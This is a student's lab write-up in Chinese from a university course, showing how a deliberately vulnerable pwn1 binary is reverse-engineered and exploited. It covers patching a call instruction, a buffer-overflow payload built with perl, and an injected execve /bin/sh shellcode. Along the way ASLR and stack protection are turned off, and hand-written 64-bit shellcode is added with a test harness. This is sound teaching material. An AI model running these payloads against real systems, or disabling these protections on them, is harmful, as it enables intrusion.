2017-2018-2 20155303『网络对抗技术』Exp1：PC平台逆向破解

2017-2018-2 『网络对抗技术』Exp1：PC平台逆向破解

————————CONTENTS————————

• 1. 逆向及Bof基础实践说明
• 2. 直接修改程序机器指令，改变程序执行流程
• 3. 通过构造输入参数，造成BOF攻击，改变程序执行流
• 4. 注入Shellcode并执行
• 5. 实验中遇到的问题及思考
  • ELF文件具有什么样的格式？
  • 如何编写Linux shellcode？
• 附：参考资料

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1. 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

• 三个实践内容如下：

  • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

• 这几种思路，基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

1.2 基础知识

• NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
  • JNE：条件转移指令，如果不相等则跳转。（机器码：75）
  • JE：条件转移指令，如果相等则跳转。（机器码：74）
  • JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB） 段内直接近转移Jmp near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）
  • CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

• 常用的Linux基本操作

  • objdump -d：从objfile中反汇编那些特定指令机器码的section。
  • perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。
  • xxd：为给定的标准输入或者文件做一次十六进制的输出，它也可以将十六进制输出转换为原来的二进制格式。
  • ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。
  • |：管道，将前者的输出作为后者的输入。
  • >：输入输出重定向符，将前者输出的内容输入到后者中。

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2. 直接修改程序机器指令，改变程序执行流程

• 知识要求：Call指令，EIP寄存器，指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
• 学习目标：理解可执行文件与机器指令
• 进阶：掌握ELF文件格式，掌握动态技术

使用objdump -d pwn1将pwn1反汇编，得到以下代码（只展示部分核心代码）：

我们注意到，80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令，在main函数中调用位于地址8048491处的foo函数，e8表示“call”，即跳转。

如果我们想让函数调用getShell，只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量，我们计算出应该改为c3 ff ff ff。

修改的具体步骤如下：

1. vi pwn1进入命令模式
2. 输入:%!xxd将显示模式切换为十六进制
3. 在底行模式输入/e8d7定位需要修改的地方，并确认
4. 进入插入模式，修改d7为c3
5. 输入:%!xxd -r将十六进制转换为原格式
6. 使用:wq保存并退出

反汇编查看修改后的代码，发现call指令正确调用getShell：

运行修改后的代码，可以得到shell提示符：

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3. 通过构造输入参数，造成BOF攻击，改变程序执行流

• 知识要求：堆栈结构，返回地址 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取 进阶：掌握ELF文件格式，掌握动态技术

与上一个任务类似，首先需要进行反汇编，以了解程序的基本功能。具体过程不再赘述。

该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞。读入字符串时，系统只预留了一定字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址。

尝试发现，当输入为以下字符时已经发生段错误，产生溢出：

使用gdb进行调试：

注意到eip的值为ASCII的5，即在输入字符串的“5”的部分发生溢出。将“5”的部分改为其他数字进一步确认：

由此可以看到，如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

由反汇编结果可知getShell的内存地址为：0804847d

对比之前 eip 0x34333231 0x34333231 ，正确输入为 11111111222222223333333344444444\x7d\x84\x04\x08。

接下来需要生成一个包含这样字符串的文件，来构造输入值。

Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造文件。

使用十六进制查看指令xxd查看input文件是否符合预期。由于kali系统采用的是大端法，所以构造内存地址时注意顺序，末尾的\0a表示回车换行：

然后将input的输入，通过管道符“|”，作为pwn1的输入。：

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4. 注入Shellcode并执行

• shellcode就是一段机器指令（code）
  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

首先使用apt-get install execstack命令安装execstack。

修改以下设置：

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0

我们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90，最前面加上加上返回地址（先定义为\x4\x3\x2\x1）：

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

接下来确定\x4\x3\x2\x1部分到底需要填什么

打开一个终端注入这段攻击buf，在另一个终端查看pwn1这个进程，发现进程号为4854。

启动gdb调试这个进程：

通过设置断点，来查看注入buf的内存地址：

使用break *0x080484ae设置断点，并输入c继续运行。在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp查找地址。

使用x/16x 0xffffd33c查看其存放内容，看到了01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是 0xffffd340。

接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可：

再执行程序，攻击成功：

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5. 实验中遇到的问题及思考

• 『问题1：ELF文件具有什么样的格式？』

一个典型的ELF可重定位目标文件如下图所示：

各节含义如下：

节	含义
.text	已编译程序的机器代码
.rodata	只读数据，如pintf和switch语句中的字符串和常量值
.data	已初始化的全局变量
.bss	未初始化的全局变量
.symtab	符号表，存放在程序中被定义和引用的函数和全局变量的信息
.rel.text	当链接器吧这个目标文件和其他文件结合时，.text节中的信息需修改
.rel.data	被模块定义和引用的任何全局变量的信息
.debug	一个调试符号表
.line	原始C程序的行号和.text节中机器指令之间的映射
.strtab	一个字符串表，其内容包含.systab和.debug节中的符号表

对于static类型的变量，gcc编译器在.data和.bss中为每个定义分配空间，并在.symtab节中创建一个有唯一名字的本地链接器符号。对于malloc而来的变量存储在堆（heap）中，局部变量都存储在栈（stack）中。

以下面这个程序为例，来验证变量是如何存储的：

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

int z = 9;
int a;
static int b =10;
static int c;
void swap(int* x,int* y)
{
	int temp;
	temp=*x;
	*x=*y;
	*y=temp;
}  

int main()
{
	int x=4,y=5;
	swap(&x,&y);
	printf(“x=%d,y=%d,z=%d,w=%d/n”,x,y,z,b);
	return 0;
} 

使用objdump -S var.o查看C源程序的汇编代码可以发现，z和b在.data段，main和swap在.text段，a和c在.bss段，x,y,temp在stack中，printf函数所打印的字符串在.rodata中。

• 『问题2：如何编写Linux shellcode？』

教程中提到，shellcode就是一段机器指令（code），通常这段机器指令的目的是为获取一个交互式的shell。在许多情况下，标准的shellcode可能无法满足特定的任务，因此需要创建自己的shellcode。

shellcode的编写方式主要有以下三种：

• 直接编写十六进制操作码；
• 使用如C语言等高级语言编写程序，然后进行编译并反汇编，以获取汇编指令及十六进制操作码；
• 编写汇编程序，将该程序汇编，然后从二进制中提取十六进制操作码。

无论使用哪种方法，都需要了解像read、write和execute等这种底层内核函数。由于这些系统函数都是在内核级执行的，因此还需要有关用户进程如何与内核进行通信的知识。这部分内容上学期已在娄老师的《信息安全系统设计基础》课程中完成了学习（附：进程与fork()、wait()、exec函数组），因此较易理解。

下面根据查阅的一些资料，尝试利用execve创建shellcode。

编写一个简单的程序：

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    char *code[2];
    code[0] = "/bin/sh";
    code[1] = NULL;

    execve(code[0], code, NULL);

    return 0;
}

注意：execve 是 Unix/Linux下exec函数，Linux一般是用fork创建新进程，用exec来执行新的程序。exec有六个函数，其中只有execve是系统调用，其它五个exec函数最后都要调用execve。

以上程序编译运行可以得到一个shell，这个在上学期的课程中已经学习过了。接下来使用gcc -o shellcode shellcode.c 将上面的代码进行编译，然后使用objdump -d shellcode > shellcode.s反汇编。得到的反汇编代码（main部分）如下：

参考以上反汇编代码，用汇编语言重写上面的shellcode.c，并保存为scode.s：

编译：　　as -o scode.o scode.s
连接： 　ld -o scode scode.o
提取二进制机器码:    objdump -d scode

红色标注部分即为shellcode的代码：

为：\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

最后用C语言写一个测试shellcode的程序：

#include <stdio.h>

unsigned char code[] =  "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
                        "\x83\xec\x20\x48\x89\x4d\xf0\x48"
                        "\xc7\x45\xf8\x00\x00\x00\x00\xba"
                        "\x00\x00\x00\x00\x48\x8d\x75\xf0"
                        "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
                        "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
                        "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
; /*  code 就是我们上面构造的 shellcode */

void main(int argc, char *argv[])
{
    long *ret;
    ret = (long *)&ret + 2;
    (*ret) = (long)code;
}

由于系统设置了堆栈运行保护，gcc编译时需要使用参数：-fno-stack-protector -z execstack。查看运行结果：

Done！

目前尝试的shellcode还有很大的局限性，比如堆栈保护等。能不能绕过这些保护呢？

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附：参考资料

• Exp1逆向与Bof基础_教程
• Shellcode入门
• 用于阻止缓冲区溢出攻击的 Linux 内核参数与 gcc 编译选项
• ELF文件格式解析
• 汇编指令和机器码的对应表